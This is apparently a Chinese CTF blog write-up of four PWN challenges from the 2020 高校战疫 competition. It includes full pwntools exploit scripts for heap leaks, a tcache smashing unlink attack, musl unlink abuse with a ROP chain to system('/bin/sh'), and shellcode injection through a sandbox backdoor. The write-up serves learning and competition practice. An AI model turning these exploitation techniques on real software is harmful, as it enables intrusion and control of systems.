2020-高校战疫部分PWN题复盘

前言

Short_path_V2

IDA分析

got表可劫持、PIE没开启

程序一开始就读取flag到bss上了。

create功能:

我们看到开始就创建了0x10的chunk作为price,但后面有小于0x100的指定size的chunk作为存放name的空间。
通过调试我们可以看到flag同时读到了heap中,但是是当前top chunk的下面,那么我们可以控制create中name的size,直到可以刚好控制这个这个flag的位置为我们分配的name chunk的首地址,通过输出将其打印出来。

exp

# encoding=utf-8
from pwn import *

context.arch = "amd64"
context.log_level = "debug"
debug = 1
p = process("./Shortest_path")


def add(index, price, length, name):
    p.sendlineafter("---> ", "1")
    p.sendlineafter("ID: ", str(index))
    p.sendlineafter("Price: ", str(price))
    p.sendlineafter("Length: ", str(length))
    p.sendlineafter("Name: \n", name)
    p.sendlineafter("station: ", str(0))

def qurey_station(index):
    p.sendlineafter("options ---> ", "3")
    p.sendlineafter("Station ID: ", str(index))

gdb.attach(p)
add(0,0x20,0x100,"\n")
add(1,0x20,0xb0,"\n")
add(2,0x20,0xb0,"\n")
# gdb.attach(p)
qurey_station(2)
p.interactive()

Easy_unicorn

查看文件

首先我们看到题目给了三个文件:

考点:从dump文件恢复elf文件、逆向

分析及思路

通过逆向x86_sandbox我们大概知道这么几个点:
1.程序通过读取dump文件中的二进制数据后初始化虚拟机sandbox这个对象。
2.如果带-info参数的话将会打印读取程序的全部内容

3.带debug则会打印出寄存器等信息 4.带tcode会打印出rip的内容,一直执行一直打印 同时会完成sandbox的初始化。

对于unicorn大概了解下:
Unicorn 是一款非常优秀的跨平台模拟执行框架,该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64)等指令集的原生程序。Unicorn 不仅仅是模拟器,更是一种“硬件级”调试器,使用Unicorn的API可以轻松控制CPU寄存器、内存等资源,调试或调用目标二进制代码,现有的反调试手段对Unicorn 几乎是无效的。

对于做题帮助不大,目前先定位到-info的参数上,我们看到打印出了dump文件中pwn题的各个段的地址信息,那么我们可以整理一下:

#coding=utf-8

data = '''
| .gcc_except_table            |            401e64  |               f5c  |         24 |
| debug001                     |      7ffff783b000  |               f88  |       4000 |
| .data                        |            603090  |              4fb8  |         10 |
| libc_2.23.so                 |      7ffff7475000  |              5008  |     1c0000 |
| .fini                        |            4015a4  |            1c5008  |          9 |
| .plt                         |            4009f0  |            1c5111  |        100 |
| .jcr                         |            602e00  |            1c5211  |          8 |
| ld_2.23.so1                  |      7ffff7ffc000  |            1c5219  |       1000 |
| ld_2.23.so2                  |      7ffff7ffd000  |            1c6219  |       1000 |
| LOAD                         |            400000  |            1c7239  |        9c8 |
| .init                        |            4009c8  |            1c7c01  |         1a |
| [stack]                      |      7ffffffde000  |            1c7c1b  |      21000 |
| libstdc__.so.6.0.21          |      7ffff7a55000  |            1e8c2b  |     172000 |
| LOAD2                        |            400af8  |            35ac3b  |          8 |
| .fini_array                  |            602df8  |            35ac43  |          8 |
| .prgend                      |            6031d8  |            35ac4b  |          1 |
| libstdc__.so.6.0.212         |      7ffff7dc7000  |            35ac4c  |       a000 |
| libstdc__.so.6.0.213         |      7ffff7dd1000  |            364c4c  |       2000 |
| .plt.got                     |            400af0  |            366c4c  |          8 |
| libstdc__.so.6.0.211         |      7ffff7bc7000  |            366c54  |       d000 |
| ld_2.23.so                   |      7ffff7dd7000  |            373c54  |      26000 |
| libgcc_s.so.1                |      7ffff783f000  |            399c54  |      16000 |
| libgcc_s.so.11               |      7ffff7a54000  |            3afc54  |       1000 |
| libm_2.23.so1                |      7ffff7274000  |            3b0c54  |       2000 |
| libm_2.23.so3                |      7ffff7474000  |            3b2c54  |       1000 |
| libm_2.23.so2                |      7ffff7473000  |            3b3c54  |       1000 |
| debug004                     |      7ffff7ffe000  |            3b4c5c  |       1000 |
| xctf_pwn                     |            401e88  |            3b5c74  |        178 |
| LOAD1                        |            4009e2  |            3b5dec  |          e |
| LOAD3                        |            4015a2  |            3b5dfa  |          2 |
| LOAD5                        |            4019a7  |            3b5e04  |          1 |
| LOAD4                        |            4015ad  |            3b5e05  |          3 |
| LOAD7                        |            602e08  |            3b5e08  |        1f0 |
| LOAD6                        |            401a84  |            3b5ff8  |          4 |
| [vdso]                       |      7ffff7ffa000  |            3b5ffc  |       2000 |
| .text                        |            400b00  |            3b7ffc  |        aa2 |
| libc_2.23.so3                |      7ffff7839000  |            3b8b5e  |       2000 |
| libc_2.23.so2                |      7ffff7835000  |            3bab5e  |       4000 |
| libc_2.23.so1                |      7ffff7635000  |            3beb5e  |       9000 |
| .rodata                      |            4015b0  |            3c7b5e  |        3f7 |
| .got                         |            602ff8  |            3c7f55  |          8 |
| .got.plt                     |            603000  |            3c7f5d  |         90 |
| .eh_frame_hdr                |            4019a8  |            3c7fed  |         dc |
| .bss                         |            6030a0  |            3c80c9  |        138 |
| extern                       |            6031e0  |            3c8201  |         98 |
| libm_2.23.so                 |      7ffff716c000  |            3c8299  |     108000 |
| [vsyscall]                   |  ffffffffff600000  |            4d0299  |       1000 |
| [heap]                       |            604000  |            4d1299  |      32000 |
| .init_array                  |            602df0  |            503299  |          8 |
| .eh_frame                    |            401a88  |            5032a1  |        3dc |
| debug003                     |      7ffff7fe7000  |            50367d  |       6000 |
| xctf_pwn3                    |            603278  |            50967d  |        d88 |
| xctf_pwn1                    |            602000  |            50a405  |        df0 |
| xctf_pwn2                    |            6031d9  |            50b1f5  |          7 |
| debug002                     |      7ffff7dd3000  |            50b1fc  |       4000 |
'''
data = data.split("\n")[1:-1]
array = []
for i in range(len(data)):
    info = data[i].split("|")[1:-1]        
    info = [data[i].strip() for data[i] in info]
    info = [int(i,16) for i in info[1:]] + info[:1]
    array.append(info)

array.sort()

for i in array:
    print hex(i[0]),i[1:]

那么我们想办法将0x400000到0x604000地址的程序提取出来就行了。

f = open("recovery_pwn","wb")
with open("xctf_pwn.dump","rb") as fd:
    for i in array:
        if i[0] >= 0x604000:
            continue
        print "len of {} is {}".format(i[3],i[2])
        fd.seek(i[1])
        f.write(fd.read(i[2]))
f.close()

IDA分析

提取了这个二进制文件便开始漫长的分析工作,由于残缺不全导致一些反汇编代码会比较乱,可以从汇编层面进行分析:
先看主函数:

首先定位到调用的函数指针,点进去看看:
两个函数指针,第一个后门是用于读取flag的,第二个后门是用于执行shellcode的,我们看到后面调用了一次函数指针,那么我们就看看如何满足调用第一个后门函数: 查看程序逻辑后发现只要成功通过password检查,就可以调用到这个函数,该password在之前就已经打印出来了:

但是注意一点这段最好用汇编查看,比较方便:

我们只需要将其换下格式便可以得到password。
data_int_list = [int(i, 16) for i in data.split(b"-")]
print(data_int_list)
raw_input()

data_bytes = b""
for i in data_int_list:
    data_bytes += p32(i)
data_bytes_list = [i for i in data_bytes]
print(data_bytes)
print(data_bytes_list)
raw_input()

for i in range(0xe, -1, -1):
    data_bytes_list[i]=data_bytes_list[i]^data_bytes_list[i+1]
    print(data_bytes_list[i])
pass_str = ""
for i in data_bytes_list:
    pass_str = pass_str+"%02x"%i
print(pass_str)

但是我们发现调用第一个后门函数并不能读出flag,分析一下原因:
sandbox启动的时候,利用这个函数将this+0x28设为0

我们在看后面
this+0x28=1才会返回文件句柄,由于之前已经设置=0,所以不能正常打开文件。那么就得考虑第二个后门函数,执行shellcode。

通过逆向我们发现,输入的password小于4就会令指向vtable指针的值自增一,我们通过0x20次错误输出,再加上一次正确输出,那么我们就可以成功调用第二个后门函数。

该后门函数会打印输入shellcode的地址,我们输入shellcode,最后输入shellcode地址就可以getshell了。

exp

#coding=utf-8
from pwn import *

context.log_level = "debug"
p = process("./x86_sandbox")
# data = b"6C141629-681C0134-05159383-00000808"
p.recvuntil("machine-code is")
p.recv(10)
data = p.recv(36).strip()
print(data)
raw_input()

for i in range(0x20):
    p.recvuntil("password <<")
    p.send("\n")

data_int_list = [int(i, 16) for i in data.split(b"-")]
print(data_int_list)
raw_input()

data_bytes = b""
for i in data_int_list:
    data_bytes += p32(i)
data_bytes_list = [i for i in data_bytes]
print(data_bytes)
print(data_bytes_list)
raw_input()

for i in range(0xe, -1, -1):
    data_bytes_list[i]=data_bytes_list[i]^data_bytes_list[i+1]
    print(data_bytes_list[i])
pass_str = ""
for i in data_bytes_list:
    pass_str = pass_str+"%02x"%i
print(pass_str)
# 6C141629-681C0134-05159383-00000808
p.recvuntil("password <<")
p.sendline(pass_str)
p.recvuntil("data ptr:0x")
data = p.recv(12)
shellcode_addr = int(data,16)
success("shellcode addr ==> "+hex(shellcode_addr))
payload = shellcraft.amd64.open("./flag")
payload+= shellcraft.amd64.read(3,0x60f2a8,0x30)
payload+= shellcraft.amd64.write(1,0x60f2a8,0x30)
p.recvuntil("data<<")
p.sendline(asm(payload,arch="amd64"))
p.sendlineafter("ptr<<",str(shellcode_addr))
p.sendlineafter("arg0<<",str(shellcode_addr))
p.sendlineafter("arg1<<",str(shellcode_addr))
p.sendlineafter("arg2<<",str(shellcode_addr))
p.interactive()

twochunk

查看文件

保护全开 考点:tcache smashing unlink攻击(victim地址写libc,通过归类smallbin将victim地址归入tcache中从而可控)

IDA分析

程序一开始mmap一个地址存放name和info并要求输入内容:

create:只能有两个chunk能被同时创建,两个分配方式:calloc和malloc。malloc有两次,分别是0x100和0x90两个大小,calloc次数没有限制,size限制在0x90~0x410,还有一个点是不允许通过malloc创建的chunk中带有0x7f,那么就无法通过脏数据来泄露libc了。

show只能一次,打印八个字节。

edit只能一次,溢出0x20个字节

showMessage打印出0x2333000处的name和info,同样只有一次机会。

delete没有漏洞

backdoor

思路

想了一会儿经过尝试之后大概想到就是利用tcache smashing unlink攻击了。

具体内容是这样:
1.首先利用两个不同的大chunk,分别填满tcache进入unsorted bin中切出0x90的chunk,这里比较重要一点是其中一个链的chunk大小需要是0x90+0x100=0x190,因为我们需要利用一次0x100的分配来溢出第二个进入smalllbin的0x90的chunk,改写bk

2.在第二个0x90的chunk还在unsorted bin的时候利用malloc(0xe9)的那次机会,将0x90的chunk归类入smallbin中,show出heap地址,同时改写bk为victim-0x10。一举三得。

3.calloc(0x88)来进行tcache smashing unlink攻击,这个时候victim地址就进入tcache了(这里需要注意一点,我们在一开始写name和info的时候需要在对应位置写合法地址,以方便后面归类的时候需要赋值,这个时候合法地址只有0x2333000后面的地址)

4.使用leave_message的一次机会,控制mmap地址,写system和/bin/sh,调用后门函数即可

exp

# encoding=utf-8
from pwn import *
context.terminal = ["tmux","split","-h"]
file_path = "./twochunk"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

def create(index, size):
    p.sendlineafter("choice: ", "1")
    p.sendlineafter("idx: ", str(index))
    p.sendlineafter("size: ", str(size))

def delete(index):
    p.sendlineafter("choice: ", "2")
    p.sendlineafter("idx: ", str(index))

def show(index):
    p.sendlineafter("choice: ", "3")
    p.sendlineafter("idx: ", str(index))

def edit(index, content):
    p.sendlineafter("choice: ", "4")
    p.sendlineafter("idx: ", str(index))
    p.sendafter("content: ", content)

def show_message_name():
    p.sendlineafter("choice: ", "5")


def leave_end_message(content):
    p.sendlineafter("choice: ", "6")
    p.sendafter("end message: ", content)


def call_mmap():
    p.sendlineafter("choice: ", "7")

mmap_addr = 0x23333000

p.sendlineafter("name: ",p64(mmap_addr+0x20)*4)
p.sendlineafter("message: ","pwn the process")

for i in range(5):
    create(0,0x88)
    delete(0)

for i in range(7):
    create(0,0x140)
    delete(0)

for i in range(4):
    create(0,0xe9)
    delete(0)

create(0,0x140)
create(1,0x108)
delete(0)
create(0,0xb0)
delete(1)
delete(0)
for i in range(7):
    create(0,0x180)
    delete(0)
create(0,0x180)
create(1,0xb0)
delete(0)
delete(1)
create(0,0xf8)  # above of the last 0x90 chunk
delete(0)
create(0,0x200) # make the split 0x90 chunk in smallbin
delete(0)

create(0,0x5B25) # create 0x100 chunk leak heap and overflow
show(0)

heap_base = u64(p.recv(6).ljust(8,"\x00"))-0x000055555555a160+0x555555559000
success("heap address ==> "+hex(heap_base))

edit(0,"a"*0xf0+p64(0)+p64(0x91)+p64(0x000055555555a310-0x555555559000+heap_base)+p64(mmap_addr-0x10))

create(1,0x88)
show_message_name()
p.recv(0x15)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7fb2d20+0x7ffff7dce000
success("libc address ==> "+hex(libc.address))
leave_end_message(p64(libc.sym["system"])+p64(0)*4+"/bin/sh\x00"+p64(mmap_addr+0x28))
gdb.attach(p)
call_mmap()
p.interactive()

musl

查看文件

我们看到这个并非之前的glibc,而是musl-libc。那么其heap管理跟以前做的就有区别

IDA分析

create函数
edit无限制次数,show需要根据bss段上的一个参数来执行(执行完加一,为0执行) ## 源码阅读 两个关键点:

第一个malloc的时候,libc地址会写到fd和bk。同时malloc(0)的时候会malloc一个0x20的chunk。chunk是以0x20为一个最小单位增加的。

跟进:看到直接加上0x20的大小,那么n = 0时,会分配0x20的chunk,用这个漏洞可以泄露heap,因为read可以根据输入的size读取。 也就是先分配0x0chunk,同时不写入内容,show就可以得到heap地址
第二个:free的时候,unlink没有检查:
跟进:unlink的位置
那我们就可以任意地址写入了。unlink的目标简单的说就是控制heap list。或者是将heap_list改为got,或者改为自己创造的fake heap_list的地址。这样就可以任意编辑泄露了。
payload = p64(0x602040-24)+p64(fake_list_addr)  # 0x602040是存放heap_list的地址
payload+= p64(0x20)+p64(0x21)+"\n"
delete(1)
add(0x10,payload,overflow=1)
delete(2)

结果如下:
0x602040 = fake_list_addr
fake_list_addr + 0x10 = 0x602028

思路

第一步:malloc一个0x0的chunk(实际上是0x20)show(0)获得heap地址。
第二步:找到伪造fake_list的地址,写入到unlink的目标:p64(存储heap_list的地址) + p64(fake_heap_list_addr)
第三步:控制heap_list了,就可以泄露、再编辑heap_list了。注意之前要把bss段上判断show的地址和fake_heap_list_addr写入到fake_heap_list中
第四步:利用environ泄露ret地址,rop来getshell

exp

from pwn import *
r = lambda :p.recv()
rl = lambda :p.recvline()
ru = lambda x:p.recvuntil(x)
rn = lambda x:p.recvn(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)

DEBUG = 1
context.arch = 'amd64'
BIN_PATH = './carbon'
elf = ELF(BIN_PATH)
context.terminal = ['tmux', 'split', '-h']
if DEBUG == 1:
    p = process(BIN_PATH)
    context.log_level = 'debug'
    if context.arch == 'amd64':
        libc = ELF('./libc.so')
        pass
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
        pass
else:
    p = remote('119.3.158.103',19008)
    libc = ELF('./libc.so')
    context.log_level = 'info'

def add(size,data,overflow=0):
    sla('> ',str(1))
    sla('size? >',str(size))
    if overflow==1:
        sla('believer? >','Y')
    else:
        sla('believer? >','N')
    sa('sleeve >',data)

def delete(idx):
    sla('> ',str(2))
    sla('ID? >',str(idx))

def edit(idx,data):
    sla('> ',str(3))
    sla('ID? >',str(idx))
    s(data)

def show(idx):
    sla('> ',str(4))
    sla('ID? >',str(idx))

def show_route(s_id,d_id):
    sla('---> ',str(4))
    sla('Source Station ID: ',str(s_id))
    sla('Target Station ID: ',str(d_id))

# leak libc
add(0,"") # 0
add(0x10,"\n") # 1
add(0x10,"\n") # 2
add(0x40,"\n") # 3
show(0)                 # 获得heap地址
data = u64(p.recv(6).ljust(8,"\x00"))
heap_addr = data + (0x7ffff7ffe3b0-0x00007ffff7ffbe50)
fake_list_addr = heap_addr + (0x7ffff7ffe480-0x7ffff7ffe3b0)
success("heap addr ==> "+hex(heap_addr))
fake_list = p64(0xdeadbeef)*6 # 0,1,2  由于unlink的缘故,这里会发生一些变化,为了后面数据不乱,前面填充垃圾数据
fake_list+= p64(0x4)+p64(0x602034) # 3   判断show的bss段上的数据 
fake_list+= p64(0x8)+p64(0x601FB8) # 4 read got addr
fake_list+= (p64(0x40)+p64(fake_list_addr))*2 # 5 为了继续修改fake_heap_list,所以将其地址写入list中
fake_list+= "\n"
add(0x80,fake_list)

# unlink
payload = p64(0x602040-24)+p64(fake_list_addr)  # 0x602040是存放heap_list的地址
payload+= p64(0x20)+p64(0x21)+"\n"
delete(1)
add(0x10,payload,overflow=1)
delete(2)

# leak libc
edit(3,p32(0x0))
show(4)
read_addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = read_addr - libc.symbols["read"]
success("libc address==>"+hex(libc.address))

# leak stack
# gdb.attach(p)
edit(3,p32(0))
fake_list = p64(0x4)+p64(0x602034) # 0
fake_list+= p64(0x8)+p64(libc.symbols["__environ"]) # 1
fake_list+= (p64(0x40)+p64(fake_list_addr)) # 2
fake_list+= "\n"
edit(5,fake_list)
# gdb.attach(p)
show(1)
stack_addr = u64(p.recv(6).ljust(8,"\x00"))

system_addr = libc.symbols["system"]
p_rdi_r = libc.address+0x0000000000014862
p_rsi_r = libc.address+0x000000000001c237
p_rsp_r = libc.address+0x0000000000004628
bin_sh = libc.search('/bin/sh').next()
rop = p64(p_rdi_r)+p64(bin_sh)+p64(system_addr)+'\n'
ret_addr = stack_addr + (0x7fffffffdd08- 0x00007fffffffdd78)

fake_list = p64(0x4)+p64(0x602034) # 0
fake_list+= p64(0x8)+p64(libc.symbols["__environ"]) # 1
fake_list+= (p64(0x40)+p64(ret_addr)) # 2
edit(2,fake_list+"\n")
edit(2,rop)
p.recv()
p.sendline(str(5))
p.interactive()

 Previous
2019 ByteCTF部分PWN复盘 2019 ByteCTF部分PWN复盘
大概去年十一月份写的,拿过来再看一下 mheap0x01 查看文件 看到也许可以hijacking GOT或者hijacking hook ## 0x02 源码分析 ### 创建功能 貌似看起来没什么问题。 ### 打印函数 ### 删
2020-09-24
Next 
Reverse Shell Reverse Shell
0x01 前言之前一直没了解反弹shell的真正含义,今天刚好发现自己pwnable的排名有点瓦,做道题冲个分吧…这篇文章参考了m4x师傅的文章,总结下来供自己学习: 0x02 shell是什么简单的来说shell就是用户操作系统的入口,通
2020-09-15
  TOC